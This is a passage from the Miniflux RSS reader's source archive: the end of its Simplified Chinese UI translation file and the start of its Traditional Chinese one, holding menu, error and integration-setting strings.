"alert.no_shared_entry": "没有分享文章。",
"alert.no_bookmark": "目前没有收藏",
"alert.no_category": "目前没有分类",
"alert.no_category_entry": "该分类下没有文章",
"alert.no_tag_entry": "没有与此标签匹配的条目。",
"alert.no_feed_entry": "该源中没有文章",
"alert.no_feed": "目前没有源",
"alert.no_history": "目前没有历史",
"alert.feed_error": "该源存在问题",
"alert.no_search_result": "该搜索没有结果",
"alert.no_feed_in_category": "没有该类别的源。",
"alert.no_unread_entry": "目前没有未读文章",
"alert.no_user": "您是目前仅有的用户",
"alert.account_unlinked": "您的外部帐户现已解除关联！",
"alert.account_linked": "您的外部账号已关联！",
"alert.pocket_linked": "您的 Pocket 帐户现已关联",
"alert.prefs_saved": "设置已存储！",
"error.unlink_account_without_password": "您必须设置密码，否则您将无法再次登录。",
"error.duplicate_linked_account": "该 Provider 已被关联！",
"error.duplicate_fever_username": "Fever 用户名已被占用！",
"error.duplicate_googlereader_username": "Google Reader 用户名已被占用！",
"error.pocket_request_token": "无法从 Pocket 获取请求令牌！",
"error.pocket_access_token": "无法从 Pocket 获取访问令牌！",
"error.category_already_exists": "分类已存在",
"error.unable_to_create_category": "无法建立这个分类",
"error.unable_to_update_category": "无法更新该分类",
"error.user_already_exists": "用户已存在",
"error.unable_to_create_user": "无法创建此用户",
"error.unable_to_update_user": "无法更新此用户",
"error.unable_to_update_feed": "无法更新此源",
"error.subscription_not_found": "找不到任何源",
"error.empty_file": "该文件为空",
"error.bad_credentials": "用户名或密码无效",
"error.fields_mandatory": "必须填写全部信息",
"error.title_required": "必须填写标题",
"error.different_passwords": "两次输入的密码不同",
"error.password_min_length": "请至少输入 6 个字符",
"error.settings_mandatory_fields": "必须填写用户名、主题、语言以及时区",
"error.entries_per_page_invalid": "每页的文章数无效。",
"error.feed_mandatory_fields": "必须填写网址和分类",
"error.feed_already_exists": "此源已存在。",
"error.invalid_feed_url": "订阅源的网址无效。",
"error.invalid_site_url": "源网站的网址无效。",
"error.feed_url_not_empty": "订阅源的网址不能为空。",
"error.site_url_not_empty": "源网站的网址不能为空。",
"error.feed_title_not_empty": "订阅源的标题不能为空。",
"error.settings_reading_speed_is_positive": "阅读速度必须是正整数。",
"error.settings_block_rule_fieldname_invalid": "无效的阻止规则: 规则 #%d 缺少合法的字段名 (可选: %s)",
"error.settings_block_rule_separator_required": "无效的阻止规则: 规则 #%d 的模式字符必须用‘=’分开。",
"error.settings_block_rule_regex_required": "无效的阻止规则: 规则 #%d 的模式字符没有提供。",
"error.settings_block_rule_invalid_regex": "无效的阻止规则: 规则 #%d 的模式字符不是合法的正则表达式。",
"error.settings_keep_rule_fieldname_invalid": "无效的保留规则: 规则 #%d 缺少合法的字段名 (可选: %s)",
"error.settings_keep_rule_separator_required": "无效的保留规则: 规则 #%d 的模式字符必须用‘=’分开。",
"error.settings_keep_rule_regex_required": "无效的保留规则: 规则 #%d 的模式字符没有提供。",
"error.settings_keep_rule_invalid_regex": "无效的保留规则: 规则 #%d 的模式字符不是合法的正则表达式。",
"error.feed_category_not_found": "此类别不存在或不属于该用户。",
"error.feed_invalid_blocklist_rule": "阻止列表规则无效。",
"error.feed_invalid_keeplist_rule": "保留列表规则无效。",
"error.user_mandatory_fields": "必须填写用户名",
"error.api_key_already_exists": "此 API 密钥已存在。",
"error.unable_to_create_api_key": "无法创建此 API 密钥。",
"error.invalid_theme": "无效的主题。",
"error.invalid_language": "无效的语言。",
"error.invalid_timezone": "无效的时区。",
"error.invalid_entry_direction": "无效的输入方向。",
"error.invalid_display_mode": "无效的网页应用显示模式。",
"error.invalid_gesture_nav": "手势导航无效。",
"error.invalid_default_home_page": "无效的默认主页!",
"form.feed.label.title": "标题",
"form.feed.label.site_url": "源网站 URL",
"form.feed.label.feed_url": "订阅源 URL",
"form.feed.label.description": "描述",
"form.feed.label.category": "类别",
"form.feed.label.crawler": "抓取全文内容",
"form.feed.label.feed_username": "源用户名",
"form.feed.label.feed_password": "源密码",
"form.feed.label.user_agent": "覆盖默认的用户代理",
"form.feed.label.cookie": "设置 Cookies",
"form.feed.label.scraper_rules": "抓取规则",
"form.feed.label.rewrite_rules": "重写规则",
"form.feed.label.blocklist_rules": "阻止规则",
"form.feed.label.keeplist_rules": "保留规则",
"form.feed.label.urlrewrite_rules": "URL 重写规则",
"form.feed.label.apprise_service_urls": "使用逗号分隔的 Apprise 服务 URL 列表",
"form.feed.label.ignore_http_cache": "忽略 HTTP 缓存",
"form.feed.label.allow_self_signed_certificates": "允许自签名证书或无效证书",
"form.feed.label.disable_http2": "关闭 HTTP/2 避免记录指纹",
"form.feed.label.fetch_via_proxy": "通过代理获取",
"form.feed.label.disabled": "请勿刷新此源",
"form.feed.label.no_media_player": "没有媒体播放器(音频/视频)",
"form.feed.label.hide_globally": "隐藏全局未读列表中的文章",
"form.feed.label.ntfy_activate": "推送条目到ntfy",
"form.feed.label.ntfy_priority": "Ntfy优先级",
"form.feed.label.ntfy_max_priority": "Ntfy最高优先级",
"form.feed.label.ntfy_high_priority": "Ntfy高优先级",
"form.feed.label.ntfy_default_priority": "Ntfy默认优先级",
"form.feed.label.ntfy_low_priority": "Ntfy低优先级",
"form.feed.label.ntfy_min_priority": "Ntfy最低优先级",
"form.integration.cubox_activate": "保存文章到 Cubox",
"form.integration.cubox_api_link": "Cubox API 链接",
"form.feed.fieldset.general": "通用",
"form.feed.fieldset.rules": "规则",
"form.feed.fieldset.network_settings": "网络设置",
"form.feed.fieldset.integration": "第三方服务",
"form.category.label.title": "标题",
"form.category.hide_globally": "隐藏全局未读列表中的文章",
"form.user.label.username": "用户名",
"form.user.label.password": "密码",
"form.user.label.confirmation": "再次输入密码",
"form.user.label.admin": "管理员",
"form.prefs.label.language": "语言",
"form.prefs.label.timezone": "时区",
"form.prefs.label.theme": "主题",
"form.prefs.label.entry_sorting": "文章排序",
"form.prefs.label.entries_per_page": "每页文章数",
"form.prefs.label.display_mode": "渐进式网络应用程序 (PWA) 显示模式",
"form.prefs.label.default_reading_speed": "其他语言的阅读速度（每分钟字数）",
"form.prefs.label.cjk_reading_speed": "中文、韩文和日文的阅读速度（每分钟字符数）",
"form.prefs.select.older_first": "旧->新",
"form.prefs.select.recent_first": "新->旧",
"form.prefs.select.fullscreen": "全屏",
"form.prefs.select.standalone": "独立",
"form.prefs.select.minimal_ui": "最小",
"form.prefs.select.browser": "浏览器",
"form.prefs.select.publish_time": "文章发布时间",
"form.prefs.select.created_time": "文章创建时间",
"form.prefs.select.alphabetical": "按字母顺序",
"form.prefs.select.unread_count": "未读计数",
"form.prefs.select.none": "没有任何",
"form.prefs.select.tap": "双击",
"form.prefs.select.swipe": "滑动",
"form.prefs.label.keyboard_shortcuts": "启用键盘快捷键",
"form.prefs.label.entry_swipe": "在触摸屏上启用输入滑动",
"form.prefs.label.gesture_nav": "在条目之间导航的手势",
"form.prefs.label.show_reading_time": "显示文章的预计阅读时间",
"form.prefs.label.custom_css": "自定义 CSS",
"form.prefs.label.custom_js": "自定义 JavaScript",
"form.prefs.label.entry_order": "文章排序依据",
"form.prefs.label.default_home_page": "默认主页",
"form.prefs.label.categories_sorting_order": "分类排序",
"form.prefs.label.mark_read_on_view": "查看时自动将条目标记为已读",
"form.prefs.label.mark_read_on_view_or_media_completion": "当浏览时标记条目为已读。对于音频/视频，当播放完成90%%时标记为已读",
"form.prefs.label.mark_read_on_media_completion": "仅当音频/视频播放完成90%%时标记为已读",
"form.prefs.label.mark_read_manually": "手动标记条目为已读",
"form.prefs.fieldset.application_settings": "应用设置",
"form.prefs.fieldset.authentication_settings": "用户认证设置",
"form.prefs.fieldset.reader_settings": "阅读器设置",
"form.prefs.fieldset.global_feed_settings": "全局订阅源设置",
"form.prefs.label.external_font_hosts": "外部字体托管",
"form.prefs.help.external_font_hosts": "允许外部字体托管的空格分隔列表。例如：\"fonts.gstatic.com fonts.googleapis.com\"。",
"error.settings_invalid_domain_list": "域名列表无效。请提供一个用空格分隔的域名列表。",
"form.import.label.file": "OPML 文件",
"form.import.label.url": "URL",
"form.integration.betula_activate": "保存文章到 Betula",
"form.integration.betula_url": "Betula 服务地址",
"form.integration.betula_token": "Betula 密钥",
"form.integration.fever_activate": "启用 Fever API",
"form.integration.fever_username": "Fever 用户名",
"form.integration.fever_password": "Fever 密码",
"form.integration.fever_endpoint": "Fever API 端点",
"form.integration.googlereader_activate": "启用 Google Reader API",
"form.integration.googlereader_username": "Google Reader 用户名",
"form.integration.googlereader_password": "Google Reader 密码",
"form.integration.googlereader_endpoint": "Google Reader API 端点:",
"form.integration.pinboard_activate": "保存文章到 Pinboard",
"form.integration.pinboard_token": "Pinboard API 密钥",
"form.integration.pinboard_tags": "Pinboard 标签",
"form.integration.pinboard_bookmark": "标记为未读",
"form.integration.instapaper_activate": "保存文章到 Instapaper",
"form.integration.instapaper_username": "Instapaper 用户名",
"form.integration.instapaper_password": "Instapaper 密码",
"form.integration.pocket_activate": "将文章保存到 Pocket",
"form.integration.pocket_consumer_key": "Pocket 用户密钥",
"form.integration.pocket_access_token": "Pocket 访问密钥",
"form.integration.pocket_connect_link": "连接您的 Pocket 帐户",
"form.integration.wallabag_activate": "保存文章到 Wallabag",
"form.integration.wallabag_only_url": "仅发送 URL（而不是完整内容）",
"form.integration.wallabag_endpoint": "Wallabag 基本 URL",
"form.integration.wallabag_client_id": "Wallabag 客户端 ID",
"form.integration.wallabag_client_secret": "Wallabag 客户端 密钥",
"form.integration.wallabag_username": "Wallabag 用户名",
"form.integration.wallabag_password": "Wallabag 密码",
"form.integration.notion_activate": "保存文章到 Notion",
"form.integration.notion_page_id": "Notion 页面ID",
"form.integration.notion_token": "Notion 密钥",
"form.integration.apprise_activate": "将新文章推送到 Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "使用逗号分隔的 Apprise 服务 URL 列表",
"form.integration.nunux_keeper_activate": "保存文章到 Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Nunux Keeper API 端点",
"form.integration.nunux_keeper_api_key": "Nunux Keeper API 密钥",
"form.integration.omnivore_activate": "保存文章到 Omnivore",
"form.integration.omnivore_url": "Omnivore API 端点",
"form.integration.omnivore_api_key": "Omnivore API 密钥",
"form.integration.espial_activate": "保存文章到 Espial",
"form.integration.espial_endpoint": "Espial API 端点",
"form.integration.espial_api_key": "Espial API 密钥",
"form.integration.espial_tags": "Espial 标签",
"form.integration.readwise_activate": "保存文章到 Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader 密钥",
"form.integration.readwise_api_key_link": "获取你的 Readwise 密钥",
"form.integration.telegram_bot_activate": "将新文章推送到 Telegram",
"form.integration.telegram_bot_token": "机器人令牌",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "禁用网页预览",
"form.integration.telegram_bot_disable_notification": "禁用通知",
"form.integration.telegram_bot_disable_buttons": "不展示按钮",
"form.integration.telegram_chat_id": "聊天ID",
"form.integration.linkace_activate": "保存文章到 LinkAce",
"form.integration.linkace_endpoint": "LinkAce API URL",
"form.integration.linkace_api_key": "LinkAce API 密钥",
"form.integration.linkace_tags": "LinkAce 标签",
"form.integration.linkace_is_private": "将链接标记为私有",
"form.integration.linkace_check_disabled": "关闭链接检查",
"form.integration.linkding_activate": "保存文章到 Linkding",
"form.integration.linkding_endpoint": "Linkding API 端点",
"form.integration.linkding_api_key": "Linkding API 密钥",
"form.integration.linkding_tags": "Linkding 默认标签",
"form.integration.linkding_bookmark": "标记为未读",
"form.integration.linkwarden_activate": "保存文章到 Linkwarden",
"form.integration.linkwarden_endpoint": "Linkwarden API 端点",
"form.integration.linkwarden_api_key": "Linkwarden API 密钥",
"form.integration.matrix_bot_activate": "将新文章推送到 Matrix",
"form.integration.matrix_bot_user": "Matrix Bot 用户名",
"form.integration.matrix_bot_password": "Matrix Bot 密码",
"form.integration.matrix_bot_url": "Matrix 服务器 URL",
"form.integration.matrix_bot_chat_id": "Matrix 聊天 ID",
"form.integration.raindrop_activate": "保存文章到 Raindrop",
"form.integration.raindrop_token": "(Test) 密钥",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "保存文章到 Readeck",
"form.integration.readeck_endpoint": "Readeck API 端点",
"form.integration.readeck_api_key": "Readeck API 密钥",
"form.integration.readeck_labels": "Readeck 默认标签",
"form.integration.readeck_only_url": "仅发送 URL（而不是完整内容）",
"form.integration.shiori_activate": "保存文章到 Shiori",
"form.integration.shiori_endpoint": "Shiori API 端点",
"form.integration.shiori_username": "Shiori 用户名",
"form.integration.shiori_password": "Shiori 密码",
"form.integration.shaarli_activate": "保存文章到 Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API 密钥",
"form.integration.webhook_activate": "启用 Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook 密钥",
"form.integration.rssbridge_activate": "添加订阅时检查 RSS-Bridge",
"form.integration.rssbridge_url": "RSS-Bridge 服务器 URL",
"form.integration.ntfy_activate": "推送条目到ntfy",
"form.integration.ntfy_topic": "Ntfy主题",
"form.integration.ntfy_url": "Ntfy URL（可选，默认为ntfy.sh）",
"form.integration.ntfy_api_token": "Ntfy API令牌（可选）",
"form.integration.ntfy_username": "Ntfy用户名（可选）",
"form.integration.ntfy_password": "Ntfy密码（可选）",
"form.integration.ntfy_icon_url": "Ntfy图标URL（可选）",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "将新文章推送到 Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "API密钥标签",
"form.submit.loading": "载入中…",
"form.submit.saving": "保存中…",
"time_elapsed.not_yet": "未来",
"time_elapsed.yesterday": "昨天",
"time_elapsed.now": "刚刚",
"time_elapsed.minutes": [
"%d 分钟前"
],
"time_elapsed.hours": [
"%d 小时前"
],
"time_elapsed.days": [
"%d 天前"
],
"time_elapsed.weeks": [
"%d 周前"
],
"time_elapsed.months": [
"%d 月前"
],
"time_elapsed.years": [
"%d 年前"
],
"alert.too_many_feeds_refresh": [
"多次触发订阅源更新，请等待 %d 分钟后重试。"
],
"alert.background_feed_refresh": "所有的订阅源都在后台刷新中。您可以继续使用Miniflux，同时此过程正在运行。",
"error.http_response_too_large": "HTTP响应内容过大，您可以在全局设置中增加HTTP响应大小限制（需要服务器重新启动）。",
"error.http_body_read": "无法读取HTTP主体: %v。",
"error.http_empty_response_body": "HTTP响应主体为空。",
"error.http_empty_response": "HTTP响应内容为空，该网站可能正在使用机器人保护机制。",
"error.tls_error": "TLS 错误: %q。如果您愿意的话可以在订阅源设置里关闭TLS验证。",
"error.network_operation": "Miniflux无法访问该网站由于网络错误: %v。",
"error.network_timeout": "该网站响应过慢，请求超时: %v",
"error.http_client_error": "HTTP 客户端错误r: %v。",
"error.http_not_authorized": "该网站访问未授权，可能用户名和密码错误。",
"error.http_too_many_requests": "Miniflux 对该网站请求过多次数，请稍后重试或修改应用配置项。",
"error.http_forbidden": "该网站被禁止访问，网站可能有机器人保护机制？",
"error.http_resource_not_found": "请求资源无法找到，请检查URL。",
"error.http_internal_server_error": "当前由于服务器错误导致该网站无法访问，问题不在Miniflux，请稍后重试。",
"error.http_bad_gateway": "当前由于错误的网关导致该网站无法访问，问题不在Miniflux，请稍后重试。",
"error.http_service_unavailable": "当前由于服务器内部错误导致该网站无法访问，问题不在Miniflux，请稍后重试。",
"error.http_gateway_timeout": "当前由于网关超时导致该网站无法访问，问题不在Miniflux，请稍后重试。",
"error.http_unexpected_status_code": "当前由于意外的HTTP状态码：%d 导致该网站无法访问，问题不在Miniflux，请稍后重试。",
"error.database_error": "数据库错误: %v。",
"error.category_not_found": "该分类不存在或不属于该用户。",
"error.duplicated_feed": "该订阅源已经存在。",
"error.unable_to_parse_feed": "无法解析该订阅源: %v。",
"error.feed_not_found": "该订阅源不存在或不属于该用户。",
"error.unable_to_detect_rssbridge": "无法使用RSS-Bridge去检测订阅源: %v。",
"error.feed_format_not_detected": "无法解析订阅源格式: %v。",
"form.prefs.label.media_playback_rate": "音频/视频的播放速度",
"error.settings_media_playback_rate_range": "播放速度超出范围",
"enclosure_media_controls.seek" : "查找:",
"enclosure_media_controls.seek.title" : "查找 %s 秒",
"enclosure_media_controls.speed" : "速度:",
"enclosure_media_controls.speed.faster" : "快进",
"enclosure_media_controls.speed.faster.title" : "速度快进到 %sx",
"enclosure_media_controls.speed.slower" : "减慢",
"enclosure_media_controls.speed.slower.title" : "速度减慢到 %sx",
"enclosure_media_controls.speed.reset" : "重置",
"enclosure_media_controls.speed.reset.title" : "重置速度到 1x"
}
v2-2.2.5/internal/locale/translations/zh_TW.json 0000664 0000000 0000000 00000100356 14743520056 0021604 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "您確認嗎？",
"confirm.question.refresh": "您想要強制刷新嗎？",
"confirm.yes": "是",
"confirm.no": "否",
"confirm.loading": "執行中…",
"action.subscribe": "訂閱",
"action.save": "儲存",
"action.or": "或",
"action.cancel": "取消",
"action.remove": "刪除",
"action.remove_feed": "刪除此Feed",
"action.update": "更新",
"action.edit": "編輯",
"action.download": "下載",
"action.import": "匯入",
"action.login": "登入",
"action.home_screen": "新增到主螢幕",
"tooltip.keyboard_shortcuts": "快捷鍵: %s",
"tooltip.logged_user": "當前登入 %s",
"menu.title": "導覽",
"menu.home_page": "主頁",
"menu.unread": "未讀",
"menu.starred": "收藏",
"menu.history": "歷史",
"menu.feeds": "Feeds",
"menu.categories": "分類",
"menu.settings": "設定",
"menu.logout": "登出",
"menu.preferences": "設定",
"menu.integrations": "整合",
"menu.sessions": "會話",
"menu.users": "使用者",
"menu.about": "關於",
"menu.export": "匯出",
"menu.import": "匯入",
"menu.search": "搜尋",
"menu.create_category": "新建分類",
"menu.mark_page_as_read": "將此頁面標記為已讀",
"menu.mark_all_as_read": "全部標為已讀",
"menu.show_all_entries": "顯示所有文章",
"menu.show_only_unread_entries": "僅顯示未讀文章",
"menu.show_only_starred_entries": "Show only starred entries",
"menu.refresh_feed": "更新",
"menu.refresh_all_feeds": "背景更新全部Feeds",
"menu.edit_feed": "編輯",
"menu.edit_category": "編輯",
"menu.add_feed": "新增Feed",
"menu.add_user": "新建使用者",
"menu.flush_history": "清理歷史",
"menu.feed_entries": "文章",
"menu.api_keys": "API 金鑰",
"menu.create_api_key": "建立一個新的 API 金鑰",
"menu.shared_entries": "已分享的文章",
"search.label": "搜尋",
"search.placeholder": "搜尋…",
"search.submit": "送出",
"pagination.last": "Last",
"pagination.next": "下一頁",
"pagination.first": "First",
"pagination.previous": "上一頁",
"entry.status.unread": "標為未讀",
"entry.status.read": "標為已讀",
"entry.status.toast.unread": "已標為未讀",
"entry.status.toast.read": "已標為已讀",
"entry.status.title": "更改狀態",
"entry.bookmark.toggle.on": "新增收藏",
"entry.bookmark.toggle.off": "取消收藏",
"entry.bookmark.toast.on": "已新增收藏",
"entry.bookmark.toast.off": "已取消收藏",
"entry.state.saving": "儲存中…",
"entry.state.loading": "載入中…",
"entry.save.label": "儲存",
"entry.save.title": "儲存這篇文章",
"entry.save.completed": "完成",
"entry.save.toast.completed": "已儲存文章",
"entry.scraper.label": "下載原文",
"entry.scraper.title": "下載原文內容",
"entry.scraper.completed": "下載完成",
"entry.external_link.label": "外部連結",
"entry.comments.label": "評論",
"entry.comments.title": "檢視評論",
"entry.share.label": "分享",
"entry.share.title": "分享這篇文章",
"entry.unshare.label": "取消分享",
"entry.shared_entry.title": "開啟公共連結",
"entry.shared_entry.label": "分享",
"entry.estimated_reading_time": [
"需要 %d 分鐘閱讀"
],
"entry.tags.label": "標籤：",
"page.shared_entries.title": "已分享的文章",
"page.shared_entries_count": [
"%d shared entry"
],
"page.unread.title": "未讀",
"page.unread_entry_count": [
"%d unread entry"
],
"page.total_entry_count": [
"%d entry in total"
],
"page.starred.title": "收藏",
"page.starred_entry_count": [
"%d starred entry"
],
"page.categories.title": "分類",
"page.categories.no_feed": "沒有Feed",
"page.categories.entries": "檢視內容",
"page.categories.feeds": "檢視Feeds",
"page.categories.feed_count": [
"有 %d 個Feed"
],
"page.categories_count": [
"%d category"
],
"page.new_category.title": "新分類",
"page.new_user.title": "新使用者",
"page.edit_category.title": "編輯分類 : %s",
"page.edit_user.title": "編輯使用者 : %s",
"page.feeds.title": "Feeds",
"page.category_label": "Category: %s",
"page.feeds.last_check": "最後檢查時間：",
"page.feeds.next_check": "下次檢查時間:",
"page.feeds.read_counter": "已讀文章數",
"page.feeds.error_count": [
"%d 錯誤"
],
"page.history.title": "歷史",
"page.read_entry_count": [
"%d read entry"
],
"page.import.title": "匯入",
"page.search.title": "搜尋結果",
"page.about.title": "關於",
"page.about.credits": "版權",
"page.about.version": "版本號：",
"page.about.build_date": "構建日期：",
"page.about.author": "作者：",
"page.about.license": "授權：",
"page.about.postgres_version": "Postgres 版本號：",
"page.about.go_version": "Go 版本號：",
"page.about.global_config_options": "全域性配置選項",
"page.add_feed.title": "新增Feed",
"page.add_feed.no_category": "沒有類別，至少需要有一個類別",
"page.add_feed.label.url": "網址",
"page.add_feed.submit": "查詢Feed",
"page.add_feed.legend.advanced_options": "高階選項",
"page.add_feed.choose_feed": "選擇一個Feed",
"page.edit_feed.title": "編輯Feed : %s",
"page.edit_feed.last_check": "最後檢查時間：",
"page.edit_feed.last_modified_header": "最後修改的 Header：",
"page.edit_feed.etag_header": "ETag 標題：",
"page.edit_feed.no_header": "無 Header",
"page.edit_feed.last_parsing_error": "最後一次解析錯誤",
"page.entry.attachments": "附件",
"page.keyboard_shortcuts.title": "快捷鍵",
"page.keyboard_shortcuts.subtitle.sections": "分割槽導航",
"page.keyboard_shortcuts.subtitle.items": "文章導航",
"page.keyboard_shortcuts.subtitle.pages": "頁面導航",
"page.keyboard_shortcuts.subtitle.actions": "操作",
"page.keyboard_shortcuts.go_to_unread": "開啟未讀頁面",
"page.keyboard_shortcuts.go_to_starred": "開啟收藏頁面",
"page.keyboard_shortcuts.go_to_history": "開啟歷史頁面",
"page.keyboard_shortcuts.go_to_feeds": "開啟Feed頁面",
"page.keyboard_shortcuts.go_to_categories": "開啟分類頁面",
"page.keyboard_shortcuts.go_to_settings": "開啟設定頁面",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "顯示快捷鍵幫助",
"page.keyboard_shortcuts.go_to_previous_item": "上一文章",
"page.keyboard_shortcuts.go_to_next_item": "下一文章",
"page.keyboard_shortcuts.go_to_feed": "轉到Feed頁面",
"page.keyboard_shortcuts.go_to_previous_page": "上一頁",
"page.keyboard_shortcuts.go_to_next_page": "下一頁",
"page.keyboard_shortcuts.go_to_bottom_item": "转到底部项目",
"page.keyboard_shortcuts.go_to_top_item": "转到顶部项目",
"page.keyboard_shortcuts.open_item": "開啟選定的文章",
"page.keyboard_shortcuts.open_original": "開啟原始連結",
"page.keyboard_shortcuts.open_original_same_window": "在當前標籤頁中開啟原始連結",
"page.keyboard_shortcuts.open_comments": "開啟評論連結",
"page.keyboard_shortcuts.open_comments_same_window": "在當前標籤頁中開啟評論連結",
"page.keyboard_shortcuts.toggle_read_status_next": "切換已讀/未讀狀態, 關注下一個",
"page.keyboard_shortcuts.toggle_read_status_prev": "切換已讀/未讀狀態, 關注前一個",
"page.keyboard_shortcuts.refresh_all_feeds": "背景更新全部Feeds",
"page.keyboard_shortcuts.mark_page_as_read": "將此頁面標記為已讀",
"page.keyboard_shortcuts.download_content": "下載原文內容",
"page.keyboard_shortcuts.toggle_bookmark_status": "切換收藏狀態",
"page.keyboard_shortcuts.save_article": "儲存文章",
"page.keyboard_shortcuts.scroll_item_to_top": "滾動到頂部",
"page.keyboard_shortcuts.remove_feed": "刪除此Feed",
"page.keyboard_shortcuts.go_to_search": "將焦點放在搜尋表單上",
"page.keyboard_shortcuts.toggle_entry_attachments": "展開/折疊文章附件",
"page.keyboard_shortcuts.close_modal": "關閉對話視窗",
"page.users.title": "使用者",
"page.users.username": "使用者名稱",
"page.users.never_logged": "從未登入",
"page.users.admin.yes": "是",
"page.users.admin.no": "否",
"page.users.actions": "操作",
"page.users.last_login": "最後登入時間",
"page.users.is_admin": "管理員",
"page.settings.title": "設定",
"page.settings.link_google_account": "關聯我的 Google 賬戶",
"page.settings.unlink_google_account": "解除 Google 帳號關聯",
"page.settings.link_oidc_account": "關聯我的 %s 賬戶",
"page.settings.unlink_oidc_account": "解除 %s 帳號關聯",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "操作",
"page.settings.webauthn.passkey_name": "Passkey 名稱",
"page.settings.webauthn.added_on": "添加時間",
"page.settings.webauthn.last_seen_on": "最後使用時間",
"page.settings.webauthn.register": "註冊 Passkey",
"page.settings.webauthn.register.error": "無法註冊 Passkey",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"刪除 %d 個 Passkey"
],
"page.login.title": "登入",
"page.login.google_signin": "使用 Google 登入",
"page.login.oidc_signin": "使用 %s 登入",
"page.login.webauthn_login": "使用密碼登錄",
"page.login.webauthn_login.error": "無法使用密碼登錄",
"page.integrations.title": "整合",
"page.integration.miniflux_api": "Miniflux API",
"page.integration.miniflux_api_endpoint": "API 端點",
"page.integration.miniflux_api_username": "使用者名稱",
"page.integration.miniflux_api_password": "密碼",
"page.integration.miniflux_api_password_value": "您帳號的密碼",
"page.integration.bookmarklet": "書籤小應用",
"page.integration.bookmarklet.name": "收藏 Miniflux",
"page.integration.bookmarklet.instructions": "拖動這個連結到瀏覽器書籤欄",
"page.integration.bookmarklet.help": "你可以開啟這個特殊的書籤來直接收藏網站",
"page.sessions.title": "會話",
"page.sessions.table.date": "日期",
"page.sessions.table.ip": "IP 地址",
"page.sessions.table.user_agent": "使用者代理",
"page.sessions.table.actions": "操作",
"page.sessions.table.current_session": "當前會話",
"page.api_keys.title": "API 金鑰",
"page.api_keys.table.description": "描述",
"page.api_keys.table.token": "金鑰",
"page.api_keys.table.last_used_at": "最後使用",
"page.api_keys.table.created_at": "建立日期",
"page.api_keys.table.actions": "操作",
"page.api_keys.never_used": "沒用過",
"page.new_api_key.title": "新的 API 金鑰",
"page.offline.title": "離線模式",
"page.offline.message": "您已離線",
"page.offline.refresh_page": "嘗試重新整理頁面",
"page.webauthn_rename.title": "重新命名 Passkey",
"alert.no_shared_entry": "沒有分享文章。",
"alert.no_bookmark": "目前沒有收藏",
"alert.no_category": "目前沒有分類",
"alert.no_category_entry": "該分類下沒有文章",
"alert.no_tag_entry": "沒有與此標籤相符的條目。",
"alert.no_feed_entry": "該Feed中沒有文章",
"alert.no_feed": "目前沒有Feed",
"alert.no_history": "目前沒有歷史",
"alert.feed_error": "該Feed存在問題",
"alert.no_search_result": "該搜尋沒有結果",
"alert.no_feed_in_category": "沒有該類別的Feed。",
"alert.no_unread_entry": "目前沒有未讀文章",
"alert.no_user": "您是唯一的使用者",
"alert.account_unlinked": "您的外部帳戶現已解除關聯！",
"alert.account_linked": "您的外部帳號已關聯！",
"alert.pocket_linked": "您的 Pocket 帳戶現已關聯",
"alert.prefs_saved": "設定已儲存！",
"error.unlink_account_without_password": "您必須設定密碼，否則您將無法再次登入。",
"error.duplicate_linked_account": "該 Provider 已被關聯！",
"error.duplicate_fever_username": "Fever 使用者名稱已被佔用！",
"error.duplicate_googlereader_username": "Google Reader 使用者名稱已被佔用！",
"error.pocket_request_token": "無法從 Pocket 獲取請求令牌！",
"error.pocket_access_token": "無法從 Pocket 獲取訪問令牌！",
"error.category_already_exists": "分類已存在",
"error.unable_to_create_category": "無法建立這個分類",
"error.unable_to_update_category": "無法更新該分類",
"error.user_already_exists": "使用者已存在",
"error.unable_to_create_user": "無法建立此使用者",
"error.unable_to_update_user": "無法更新此使用者",
"error.unable_to_update_feed": "無法更新此源",
"error.subscription_not_found": "找不到任何源",
"error.empty_file": "該檔案為空",
"error.bad_credentials": "使用者名稱或密碼無效",
"error.fields_mandatory": "必須填寫全部資訊",
"error.title_required": "必須填寫標題",
"error.different_passwords": "兩次輸入的密碼不同",
"error.password_min_length": "請至少輸入 6 個字元",
"error.settings_mandatory_fields": "必須填寫使用者名稱、主題、語言以及時區",
"error.settings_reading_speed_is_positive": "閱讀速度必須是正整數。",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
"error.entries_per_page_invalid": "每頁的文章數無效。",
"error.feed_mandatory_fields": "必須填寫網址和分類",
"error.feed_already_exists": "此Feed已存在。",
"error.invalid_feed_url": "訂閱Feed的網址無效。",
"error.invalid_site_url": "Feed網站的網址無效。",
"error.feed_url_not_empty": "訂閱Feed的網址不能為空。",
"error.site_url_not_empty": "Feed網站的網址不能為空。",
"error.feed_title_not_empty": "訂閱Feed的標題不能為空。",
"error.feed_category_not_found": "此類別不存在或不屬於該使用者。",
"error.feed_invalid_blocklist_rule": "阻止列表規則無效。",
